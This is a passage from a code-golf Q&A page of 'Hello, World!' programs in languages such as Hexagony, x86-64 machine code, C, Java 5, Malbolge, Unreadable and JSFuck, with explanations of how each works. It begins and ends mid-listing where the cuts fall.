online!](https://tio.run/##LdeJcSU5DAPQVDYEHdSVz04Em395H9ozVfZ891dLJAiA1H9//vz78zPaP@fsd/trdfvoc/X27qy2bu3Rao131qpxRx9n7rXnOHeN2@5ta92@@/B01Xs151lnt3P67fa565w57tp3n2rft2NOK@6rd0bv7dT26@w1Tlvf0lN15616bZ772ivHtXpCqbHHsOc6bbZuRfW32z17imy1bue36uzugdfW6g4ea/QaXUz@G3fuN9dugq2yWranxql5RvOFb0d/vWa7GyDtje2wPbZHdgLQfm/cOtCp66nc@2nHM5hs0OxjkztfO7t8PjJq/bzTzx1NOvaUaFX3hiTelOt9jm527LO99V5bb/fp51aH4oRijfkejO6Qygky0Bf0fBPosJltgAd4T2WaYDeMUqkc2SR@FcS3SplTa6uwZU151t33KExZq4R3nHFWye0tUF74qlk5c3vzNSVDjNf9mr8ZreC0YbOEAq515fqAYscQaAxsmnvPOcrOt/W2AdnXmZLrd70Q6O2Q63ykar68IJiKYY/Zh6CUBqqqCdRW1bYAT291bKSuHdWU@Q5wPhufuqt/5fLkrBf69VqSOUNRV7MN2BGmwgoLC5mVw45W7iBpo/JXQybVHxJBPlScYxTyIMYdCt8nDiAHyFHZ2eryobhlfj04o/qRVV4ShEceNxUGmojJYc3e4YDU58Aed8bsara9IRs5v45e@Z9iUvyqUB3JLWxBKYpBuLbDJOhtQYB6oR8q0A7idyEkgCE93MXgdQ/@wAw@1POIzZH19pq1fLPa7c1xd2FaKi311cJpKe2gePgF6SYrgCwvzt2G/CyLYNhADgeSFzkLWI6EUHFFAjdK9MFi1cbsgCNcUZ@QKjsC0s9rDGNG3m/FoKhcbJ0pMao22QlJoodTlDyxLb61elYEkGPzyIkQBhYfivfMCaEAAzlPVkiNZ07jCVB4uANK5c@p@Mlp4hYIm@8cBFqlW6E2cQGFKeFP29ARxLUM2zmi/xHjRrmWMrDWP/niaV6A8IoBqHDsEsQWjeCUYpFodrnE9z5L/CJYQeP08X2C4Irz5W9OGu8aN4AJ8Epsk35oygZQnw2ceJ/a98esaA9s9hnq5pktV9skEUpDEAf5D@DHstwnZBnxmQWNR@1ryCmYsFnVP3HhkJ6KhIpVKIpQRHr829txrJ@cVRq5HJCusdh8iH@LwugbYXgQFy0M8Lc1yoZJ7@MR7jHrxjX4fCx5hiOB6YJhpKkNdlUcNz/2EBmPY6wrdeX85V1lWy8lGNk67yki18c5qqIMFgmU2DBoAwzzI1uiraC7ug5U08f1@ej6@hIS0SInOxrZim8rmt34PJc4EaFfK6phnS@2zC7qYNdK5NHRyw8NMSzh@SPwcDx9IE4Vf/goFWqx73bTWnrajGfoE3dpLaepeXzKkSLl7jLXT0hBNb2l1P1jJiuJ4en1BBemUHfcl@klKJG/uOo2JEQpisQBmclXZXbMCdqnd2b8viYC7IoPRbhvqKQXdyqyGTtlpVdgPmJ1SUKFs2nWTEkFIKYwPX2YV6Q9AIlJpCvhNjfaedlWfCt29RWipe8xjyFVBWxp4hlGxlfzxiQzptyvjXJJBwHKubjLF26iif0hRnTPU@YKiXbGmxcLywhzP29KRVbsERQiyGCTqmfuQPKwtTKFUHraEgLjLi@IGXrTVultALKDNpbHHHuktRDO/mpZOU7@wO2/gTFj45Umw0VmvFwayXelswsU9@vzeS2bBFMaojzBTxxtfnOaIzLDxf40qrQ5HEhiHJssMSFdsiAeL0rCNDkyN/E1VdSCtcOvRBlXYOQFLpM5gLZp9wbUDIt6NyGNeIau6bgVbw8plgTsxEbBHMXE@ytmeBKI6iGpAYc/0yUEWlw2bqi3Zrpq6buZSU46AC@5cXcsFFrGFUf0IFqGh6iFyWR4CItBGNxvG7FHPVDnYMKx/rRCgmC8kjQogdpc5sAomHfFb2e6y0rJMjlKtuISlfFZbeZMH82E90g62ovNp6lIXXVe6tjTlZUj9nPTtswirzJPYX/G7jMjjpNQkIFw3tdtY9OGN4PKSx@CMTCxOq4O55ahY31qR@a8EDnEUltKK5d4dgYl9AtLIar9qTsaZCao8CJ6ygAuAwenpDN46imvx2G13MYDhZFJMI1EdUQ0M1jqUkmEz0hEF/ObMaWkjFm5KBjv8Sutceb@MNJ56SZdoT7vfpmxIQaIm9k2nk21/W/jAw5ioUFFlF8NKxndDEOpG6euzH5pXb5iq5xIyD1OjwTOwlW6amGV2uTrnkEesplSKyKLIp8afC5A8Q5A6Kw5YSxoKkM@tPenDdkJNfVyRKbVkVGdl7QwnJyk8TJn4Lpyf4P2ytg30rGEM1Nt7s2FNJsMgzd@Ly8cE6T7ln6oL6aVxnY@rjoqF560eB4Pk51ue7/BzwTyzclpJj0DkJfEBbsTww26LXeaHnEmIarKrcj9KWNYzA@gFJlbDCaYLtSWta76Jj@S2bk4iFHJTUIzE7isYtPxikwuVojaPKNZtlQKKwSbVpo5HoUyAL0My7aTIhCC1ouwM@qbZzUTjDTXpF0h7vyGPR09dl7ZVNmJCS3ZVXpCuojBB63RBTS5KeRKdtPfSPFz@OqfDNIeem63qPVSStWamTtHro8ZQW9uNdSS@WuHqzJytzLPAosg5kfUnVlhx7vStHlXbnoMJiOR2S4E7N9cGn5zkEwjQnBvAGHLDEcIwTTtUO@wzGY2FjZYVZJExMoPdBkkYT5G5G8YiOlmspgfgzKwreQJAmz7ppf@Wez@NWdxt9xs1Oz@vW9j72jfbQnVYZ0rLqFIO91q54IxMxYYQ39@/gc "Seed – Try It Online") [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), ~~37~~ 32 bytes > > **Notice:** I'll be giving a bounty of 500 rep to the first person who finds a valid solution in a hexagon of side-length 3 or a provably optimal solution of side-length 4. If you can't find such a solution but manage to beat my score in a side-length 4 hexagon (by getting more no-ops at the end of the program, which can be omitted from the source code), I'm willing to give out a smaller bounty for that as well. > > > ``` H;e;P1;@/;W;o;/l;;o;Q/r;l;d;2;P0 ``` [Try it online!](http://hexagony.tryitonline.net/#code=SDtlO1AxO0AvO1c7bzsvbDs7bztRL3I7bDtkOzI7UDA&input=) I proudly present my second 2D programming language, *and* (to my knowledge) the first ever 2D language on a hexagonal grid. The source code doesn't look very 2D, does it? Well, whitespace is optional in Hexagony. First, the source code is padded to the next [centred hexagonal number](https://oeis.org/A003215) with no-ops (`.`). The next such number is 37, so we insert five no-ops at the end. Then the source code is rearranged into regular hexagon: ``` H ; e ; P 1 ; @ / ; W ; o ; / l ; ; o ; Q / r ; l ; d ; 2 ; P 0 . . . . . ``` This is also runnable. [Try it online!](http://hexagony.tryitonline.net/#code=ICAgSCA7IGUgOwogIFAgMSA7IEAgLwogOyBXIDsgbyA7IC8KbCA7IDsgbyA7IFEgLwogciA7IGwgOyBkIDsKICAyIDsgUCAwIC4KICAgLiAuIC4gLg&input=) Hexagony has a bunch of pretty funky features, including 6 different instruction pointers and a memory layout which is the line graph of a hexagonal grid, but this code uses only one IP and one memory edge, so let's not worry about that for now. Here is an overview over the relevant commands: * Letters just set the current memory edge to their ASCII value * `;` prints the current value, modulo 256, as a byte to STDOUT. * `/` is a mirror which behaves as you'd expect (causing the IP to take a 120 degree turn). * Digits work as they do in [Labyrinth](https://github.com/mbuettner/labyrinth): they multiply the current cell by 10 and then add themselves. * `@` terminates the program. Now the final catch is that the source wraps around all 3 pairs of edges. Furthermore, if the IP leaves the grid through one of the six corners, there are two possible rows to jump to. Which one is chosen depends on whether the current value is positive or non-positive. The following annotated version shows where the IP re-enters each time it leaves the grid: ``` H ; e ; -> 1 5 -> P 1 ; @ / -> 4 3 -> ; W ; o ; / -> 2 1 -> l ; ; o ; Q / 4 -> r ; l ; d ; -> 5 2 -> 2 ; P 0 . -> 3 . . . . ``` So if we remove all the direction changes, this program boils down to the following linear code: ``` H;e;l;;o;Q2;P0;W;o;r;l;d;P1;@ ``` What's with `Q2`, `P0` and `P1`? Letters are printed easily because we can just set the edge to the corresponding value. For the comma, the space and the exclamation mark, that doesn't work. We also can't just set their value with `44`, `32`, `33`, respectively, because the memory edge is non-zero to begin with, and due to the semantics of individual digits that would wreak all sorts of havoc. If we wanted to do that, we'd have to reset the edge value to zero with something like `*`, `+`, `-`, `&` or `^` first. However, since the value is taken modulo 256 before being printed we don't have to set the values exactly to 44, 32, or 33. For instance, `Q2` will set the edge value to `81*10 + 2 = 812`, which is `44` when taken modulo `256`. This way we can save a byte on each of those three characters. (Unfortunately, it's never possible to get there with a single digit from the value the cell already has. Amusingly, where it *does* work is the `o` in `World`, because that can also be obtained from `W9`.) [You can use this CJam script](http://cjam.aditsu.net/#code=q%3AC%3B'%5B%2C_el%5EA%2Cm*%7B_Ab256%25c%5C%2B%7D%25%7B0%3DC%26%7D%2C1f%3EN*&input=%2C) to find all letter-digit combinations that result in a given character. I'm not sure whether this is optimal. I doubt it's possible to do it in a hexagon of side-length 3 (where you'd only have 19 characters available), but it might be possible to solve it in a hexagon with side-length 4 with less than 32 commands, such that there are more no-ops at the end of the grid. [Answer] # x86\_64 machine code for Linux, 32 bytes When Linux starts a new process, all the registers (except RSP) are zero, so we can get RAX=1 by only modifying the low byte. The x86-64 System V ABI doesn't guarantee this, but it's what Linux actually does. This code only works as `_start` in a static executable. ``` 0000000000000000 <_start>: 0: e8 0d 00 00 00 call 12 <hello> 5: 48 65 6c 6c 6f a: 2c 20 57 6f 72 f: 6c 64 21 5e 40 0000000000000012 <hello>: 12: 5e pop rsi 13: 40 b7 01 mov dil,0x1 16: b2 0d mov dl,0xd 18: b0 01 mov al,0x1 1a: 0f 05 syscall 1c: b0 3c mov al,0x3c 1e: 0f 05 syscall ``` The call instruction pushes the next address, which contains the hello world string, onto the stack. We pop the address of the string into `rsi`. Then the other arguments are set up for a `syscall` to `sys_write`, which prints the string. The program terminates with a `syscall` to `sys_exit`. `sys_write` returns the number of bytes written, so the upper bytes of RAX are zero after the first `syscall` (unless it returned an error), so `mov al, 60` gives us RAX = `__NR_exit` in only 2 bytes. You can make this program segfault by closing its stdout (`./a.out >&-`), so `sys_write()` will return `-EBADF`, the second `syscall` will return `-ENOSYS`, and then execution will fall off the end. But we don't need to handle `write()` errors gracefully. [Answer] # C, 30 Bytes ``` main(){puts("Hello, World!");} ``` [Try it online!](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oLSkWEPJIzUnJ19HITy/KCdFUUnTuvb/fwA "C (gcc) – Try It Online") Fairly vanilla, but I can't think of a commonly compilable way to do it any shorter (unless maybe some kind of raw asm trick might work?). Still, beats most esolangs! [Answer] # [Fourier](https://github.com/beta-decay/Fourier), 15 bytes ***[BIG CHANGES to Fourier!](https://github.com/beta-decay/beta-decay.github.io/commit/f56ae30caea38dd8a9c36afe7a399b6be4b4d818)*** ``` `Hello, World!` ``` [**Try it on FourIDE!**](https://beta-decay.github.io/editor/?code=YEhlbGxvLCBXb3JsZCFg) Yes, the days of typing out the ASCII code of each character are gone forever: Fourier now *kind of* supports strings. When you enclose a string in backticks, that string will be outputted. Note that you can't do anything other than output that string: you cannot store it in a variable, it is not stored in the accumulator and there are no string manipulation tools. --- Here, you can find the train wreck that was *old* Fourier. ;) ``` 72a101a+7aa+3a44a32a87a111a+3a-6a-8a33a ``` [**Try it online!**](https://tio.run/nexus/fourier#FcfBCQAwCATBgkTIqUTb2f6LMGR@sx3oCGuwpIoMppH07xcfMtl9) Now, some of you will probably have [met Fourier before](https://codegolf.stackexchange.com/questions/55384/golfing-strings-in-fourier) and may be fairly familiar with the language. The whole language is based upon an accumulator: a global variable which pretty much all operators use. The most important part of the code is the `a` operator. This takes the numerical value of the accumulator and converts it to a character using the Python code `chr(accumulator)`. This is then printed to STDOUT. Unfortunately, I haven't had the chance to use Fourier yet (*nudge nudge*, *wink wink*), mainly because of its lack of strings and string operators. Even so, it's still usuable for many other challenges (see the examples section of its EsoLangs page). Note that this is shorter than my entry into the [Esolangs list](http://esolangs.org/wiki/Hello_world_program_in_esoteric_languages#Fourier) because I didn't actually think that I could golf it any more. And then, when writing the Fourier string golfing challenge, I realised I could go quite a bit shorter. ## Note If you were wondering about variable syntax, Geobits wrote a program which uses variables *and* is the same length: ``` 72a101a+7aa+3~za44a32a87aza+3a-6a-8a/3a ``` [**Try it online!**](https://tio.run/nexus/fourier#DcfBDQAgCACxgQxRwAjr3Bo8XB3trx2GLmUEDL/F3riRQf0jB0mm0/0A) [Answer] # [C--](http://www.cs.tufts.edu/%7Enr/c--/index.html), 155 bytes ``` target byteorder little;import puts;export main;section"data"{s:bits8[]"Hello, World!\0";}foreign"C"main(){foreign"C"puts("address"s);foreign"C"return(0);} ``` Unfortunately, the only known C-- compiler, [Quick C--](https://github.com/nrnrnr/qc--) is no longer maintained. It's a pain in a neck to build, but it *is* possible... [Answer] # Java 5, 61 bytes ``` enum H{H;{System.out.print("Hello, World!");System.exit(0);}} ``` This is valid in both Java 5 and Java 6. This won't work in Java 4 or earlier (because `enum` didn't exist) and will not work in Java 7 or after (because this solution uses a bypass[1] that was "fixed"). ``` enum H { // An enum is basically a class. H; // Static initialization of the mandatory instance, invoking the default constructor. // Happens before the existence check of "main"-method. // No constructor means default constructor in Java. { // Instance initialization block. // Executed in each constructor call. System.out.print("Hello, World!"); // duh! System.exit(0); // Exit before the JVM complains that no main method is found. // (and before it writes on stderr) } } ``` ## Rough equivalence in Java as usually written The above code is roughly equivalent to the following one. ``` class HelloWorld { public final static HelloWorld INSTANCE; static { INSTANCE = new HelloWorld(); } public HelloWorld() { System.out.print("Hello, World!"); System.exit(0); } } ``` ## Proof of correctness ``` $ java -version java version "1.6.0_45" Java(TM) SE Runtime Environment (build 1.6.0_45-b06) Java HotSpot(TM) 64-Bit Server VM (build 20.45-b01, mixed mode) $ javac H.java $ java H Hello, World! $ ``` --- 1. The bypass consists of the static execution of code when the class is being linked. Before Java 7, the `main`-method-containing class was no exception to the static initialization code. Afterwards, static initialization was delayed until the `main` method would actually be found. [Answer] ## Malbolge, 112 bytes ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjihf|B@@>,=<M:9&7Y#VV2TSn.Oe*c;(I&%$#"mCBA?zxxv*Pb8`qo42mZF.{Iy*@dD'<;_?!\}}|z2VxSSQ ``` I'm going to see if there's a shorter one. Got a better computer since last time, so I can generate quite a bit faster. For show, here's "Hello World!" without the comma. ``` (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc ``` [Answer] # [Unreadable](https://esolangs.org/wiki/Unreadable), ~~843~~ ~~755~~ ~~732~~ ~~666~~ ~~645~~ ~~629~~ 577 bytes > > '"'""'""'""'"'"'""""""'""'"""'""'""'""'""'""'""'""'"'""'""""""'""'""'""'"""'""'""'""'""'""'""'""'""'""'""'""'""'""'""""""'""'""'"""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'"'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""""""'""""""""'"""'""'""'""'""'""'""'""'""'""'""'""'""'""""""'"""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'""'"""'"'"""""""'""""""""'"""'"'"""""""'"""'"'"""""""'""'""'"""'"'""'""'""'"'""'""'""'"""""""'""'"""'"'"""""""'""'"""'"'"""""""'""'""'""'"""'"'""'"""""""'""" > > > Unreadable programs are supposed to be displayed with a variable-width font, so they honor the language's name. I'm slightly disappointed that my more sophisticated approaches turned out to be a lot longer. Loops are insanely expensive in Unreadable... [Try it online!](https://tio.run/nexus/unreadable#@6@upK4ER2AOCEAEkKVQlaGqw68aC0LRSoI@JNupjqBuQjBI1KdOY4SIHHRnquPiIWvEFnqoUU1AAM0wuI3//wMA "Unreadable – TIO Nexus") ### How it works Unreadable has only ten functions; six of these are used in this code: ``` '" p Print. '"" + Increment. '""" 1 Return 1. '"""""" : Set. '""""""" = Get. '"""""""" - Decrement. ``` After using my single-character notation and adding some whitespace and comments, the above code looks like the following. Multi-line statements are executed from bottom to top. ``` p+++ Print 3 + variable 2 (o). pp Print variable 2 two times (l). :+1+++++++ Save 8 + variable 3 in variable 2. p+ Print 1 + variable 3 (e). :++1+++++++++++++ Save 13 + variable 4 in variable 3. :+++1+++++++++++++++ Save 43 + variable 0 in variable 4. p++++++++++++++++++++++++++++ Print 28 + variable 0 (H). :-1++++++++++++ Save 44 in variable 0. :1+++++++++++++++++++++++++++++++1 Save 32 in variable 1. p=-1 Print variable 0 (,). p=1 Print variable 1 ( ). p=+++1 Print variable 4 (W). p+++ Print 6 + variable 2 (r). p+++=+1 Print 3 + variable 2 (o). p=+1 Print variable 2 (l). p=++1 Print variable 3 (d). p+=1 Print 1 + variable 1 (!). ``` I've generated the actual source code by running the uncommented version of the above pseudocode through [this CJam program](https://tio.run/nexus/cjam#fY89CsAwCIX3nELSIdCHg2vBK3TpHTLb@w@p@WkhHfLA588ngiWl@zrBkQxCdCjHvKWY94xSDEAgMnNzBkFXa33@FpV9cFoZ7AcnXO8sNG36MZYFdS5YS4IpV6vR@/GlJ224WyMqDw "CJam – TIO Nexus"). [Answer] # [JSFuck](https://esolangs.org/wiki/JSFuck), ~~6293~~ ~~6289~~ 6277 bytes This may get a mention as one of the longest "shortest *Hello, World!* programs" (actually I do not know if this is optimal, but it's the shortest I managed to get). **Warning: only works in Firefox and Safari** ``` [][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]([(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[!![]+!![]+!![]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]()[+!![]+[!![]+!![]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]]+[])[!![]+!![]+[+[]]]+([][(!![]+[])[!![]+!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([![]]+[][[]])[+!![]+[+[]]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]]()+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(![]+[])[+!![]])()(!![])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]](([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]]+[])[!![]+!![]+[+[]]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]]+[])[!![]+!![]+[+[]]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(![]+[])[+[]])())[+!![]+[+!![]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]+(![]+[])[!![]+!![]]+([][[]]+[])[!![]+!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]]+[])[!![]+!![]+[+[]]]+(![]+[])[+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][(!![]+[])[!![]+!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([![]]+[][[]])[+!![]+[+[]]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]]()+[])[!![]+!![]])()((+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[+[]]+![])[+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]()[+!![]+[!![]+!![]]]+(+[]+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+[+[]]]))() ``` There is also a slightly longer version (+4 bytes) that also works in Chrome and Microsoft Edge: ``` [][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]([(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[!![]+!![]+!![]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]()[+!![]+[!![]+!![]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[]